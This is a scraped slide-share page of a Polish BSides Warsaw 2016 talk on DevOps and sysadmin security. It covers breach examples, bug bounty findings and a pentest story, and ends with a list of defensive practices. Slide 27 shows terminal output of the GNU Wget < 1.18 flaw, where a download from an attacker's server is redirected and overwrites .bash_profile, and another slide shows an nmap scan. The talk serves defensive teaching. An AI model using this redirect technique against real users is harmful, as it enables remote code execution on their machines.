Devops/Sysops security
0 likes436 views
Security Bsides Warsaw 2016 (14.10.2016) Borys Łącki
![Aktualizacje – wget, (...)
GNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution
victim@trusty:~$ wget http://attackers-server/safe-file.txt
Resolving attackers-server... 192.168.57.1
Connecting to attackers-server|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: ftp://192.168.57.1/.bash_profile [following]
=> .bash_profile
Connecting to 192.168.57.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .bash_profile ... 55
==> PASV ... done. ==> RETR .bash_profile ... done.
Length: 55 (unauthoritative)
.bash_profile 100%
[===============================================================>]
2016-02-19 04:50:37 (1.27 MB/s) - .bash_profile saved [55]](https://image.slidesharecdn.com/20161014-sbsides-devopssysopssecurity-161113214113/85/Devops-Sysops-security-27-320.jpg)
Ad
More Related Content
What's hot (20)
Viewers also liked (20)
Ad
Similar to Devops/Sysops security (20)
![[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu](https://cdn.slidesharecdn.com/ss_thumbnails/confidence2k16-redteamnajlepszyprzyjacielblueteamu-160524080952-thumbnail.jpg?width=560&fit=bounds)
![[Quality Meetup #9] TestOps, QAOps - czy ktoś taki istnieje? - Aleksandra Kor...](https://cdn.slidesharecdn.com/ss_thumbnails/aaaczytestopsqaopsistnieje-a-160923120334-thumbnail.jpg?width=560&fit=bounds)
Ad
More from Logicaltrust pl (20)
Devops/Sysops security
- 3. ● Testy penetracyjne ● Audyty bezpieczeństwa ● Szkolenia ● Konsultacje ● Informatyka śledcza ● Aplikacje mobilne > 15 lat - testy bezpieczeństwa Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach oraz Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study, Internet Banking Security, ISSA, SecureCON, SEConference, SekIT, PTI, Open Source Security, PLNOG (…) Borys Łącki
- 4. 1) Straszenie 2) Przykłady ze świata 3) Przykłady z naszego doświadczenia 4) Dobre praktyki Agenda
- 5. Materiały dodatkowe ● Narzędzia do zautomatyzowanego testowania bezpieczeństwa https://www.youtube.com/watch?v=9zgH7wHv_V0 ● OWASP Top10 Najpopularniejsze błędy bezpieczeństwa aplikacji WWW https://www.youtube.com/watch?v=hOAc5vUKrqA ● Podstawowy arsenał testera bezpieczeństwa aplikacji WWW https://www.youtube.com/watch?v=F1COxOJyM7o ● APT x 3 - wybrane studium przypadków https://www.youtube.com/watch?v=fRinW7SJC6Q ● The Security Checklist https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist.md
- 6. Podstawy?
- 7. Sieć wewnętrzna == Internet Myśl o bezpieczeństwie + automatyzuj ● Oddzielaj ● Aktualizuj ● Weryfikuj ● Ograniczaj ● Porządkuj ● Monitoruj ● Dokumentuj Patrz szerzej na przykłady...
- 10. Przelewy bankowe ● Zarząd Dróg Wojewódzkich wysłał ok. 3,7 mln zł na konto podane przez oszusta. ● Metro warszawskie zostaje okradzione na ponad pół miliona złotych
- 11. Polska
- 12. Konta bankowe, karty płatnicze
- 13. Dane firmowe
- 14. Serwery
- 15. Koszty defektów
- 16. BugBounty – wyciek informacji
- 17. BugBounty – konfiguracja OAuth
- 18. BugBounty – brak separacji + hasła username: admin and password: ???????
- 19. BugBounty – konfiguracja DNS
- 20. BugBounty – połączone wektory
- 21. BugBounty – brak separacji
- 22. BugBounty – błąd konfiguracji
- 23. BugBounty – ujawnienie informacji
- 24. BugBounty – ujawnienie informacji
- 27. Aktualizacje – wget, (...) GNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution victim@trusty:~$ wget http://attackers-server/safe-file.txt Resolving attackers-server... 192.168.57.1 Connecting to attackers-server|192.168.57.1|:80... connected. HTTP request sent, awaiting response... 302 Found Location: ftp://192.168.57.1/.bash_profile [following] => .bash_profile Connecting to 192.168.57.1:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE .bash_profile ... 55 ==> PASV ... done. ==> RETR .bash_profile ... done. Length: 55 (unauthoritative) .bash_profile 100% [===============================================================>] 2016-02-19 04:50:37 (1.27 MB/s) - .bash_profile saved [55]
- 29. Szyfrowana komunikacja Off-Path TCP Exploits: Global Rate Limit Considered Dangerous In a nutshell, the vulnerability allows a blind off- path attacker to infer if any two arbitrary hosts on the Internet are communicating using a TCP connection
- 31. Qubes – Dom0 exploit
- 32. Docker
- 33. Ansible Hoax
- 34. Opowieści z krypty Na tym serwerze byl calkowity brak miejsca na partycjach i system krytycznych analiz musial usunac kilka kopii zapasowych userow aby serwer dzialal bedziemy zmieniac macierz dyskowa na tym serwerze na wieksza aby nikomu nie brakowalo miejsca na ta chwile przepraszamy za sytuacje i dodamy 1 miesiac gratis hostingu za to <xxx> kurwa prawie zawału dostałem <xxx> wpadam sprawdzić, czy się dobrze backup zrobił <xxx> patrzę, jest <xxx> ale daty się nie zgadzają <xxx> ostatni backup 04.2015 <xxx> ciśnienie mi się podniosło <xxx> szukam patrzę <xxx> a to stary serwer backupu <xxx> nie zgasiliśmy go <xxx> i sobie stoi <xxx> ja pierdolę :)
- 35. Opowieści z krypty <xxx> a to ja kiedys dawno temu przeczytalem gdzies <xxx> ze hackerzy beda robic konkurs w internecie kto wiecej stron zdefacuje <xxx> wiec chcialem zabezpieczyc swoj serwer <xxx> zalogowalem sie zdalnie <xxx> dalem iptables -P INPUT DROP <xxx> ... i byl bezpiecznie :) <yyy> uy mnie w robocie gosc puscil TRUNCATE bazy na produkcji wklejajac sql z neta bez sprawdzenia <xxx> u mnie puscil update tylko zapomnial dac where :D
- 36. Zbędne zasoby
- 37. Zbędne zasoby
- 38. Zbędne zasoby
- 39. Zbędne zasoby
- 40. Zbędne usługi
- 41. Manual vs. Automat nmap -n -p 22 -P0 PORT STATE SERVICE 22/tcp open ssh
- 42. Quake 1 https://www.youtube.com/watch?v=fRinW7SJC6Q APT x 3 - wybrane studium przypadków
- 43. 1 – RCON Administrator /rcon map e2m3 2 – Shell injection 0-day Quake 1
- 44. Konto administratora (root) Pierwszy serwer VM wyłącznie na potrzeby Quake Komunikacja pomiędzy serwerami Błąd konfiguracyjny usługi sieciowej Polityka haseł Quake 1
- 45. Quake 1 ● Uzyskanie dostępów do kolejnych serwerów ● Błędne uprawnienia plików ● Takie same hasła dla różnych usług ● Brak segmentacji wewnętrznej sieci serwerowej ● Zbędne zasoby: databackup.tgz2, sqldump.tar.bz2, database.pgsql.gz, (...)
- 46. Dostęp do usług zewnętrznych Password reuse
- 48. ● Polityka haseł (2FA) ● Aktualizacje systemów i aplikacji ● Edukacja użytkowników ● Segmentacja sieci (IPv4+IPv6) ● Szyfrowanie danych i transmisji ● Testy bezpieczeństwa ● Porządek – OS, Sieć, Urządzenia ● Ograniczenia kont (Administratorów) ● CIS Benchmark, NIST Security Checklist ● Zautomatyzowane testy bezpieczeństwa Obrona
- 51. Dziękuję za uwagę Borys Łącki [email protected] Pytania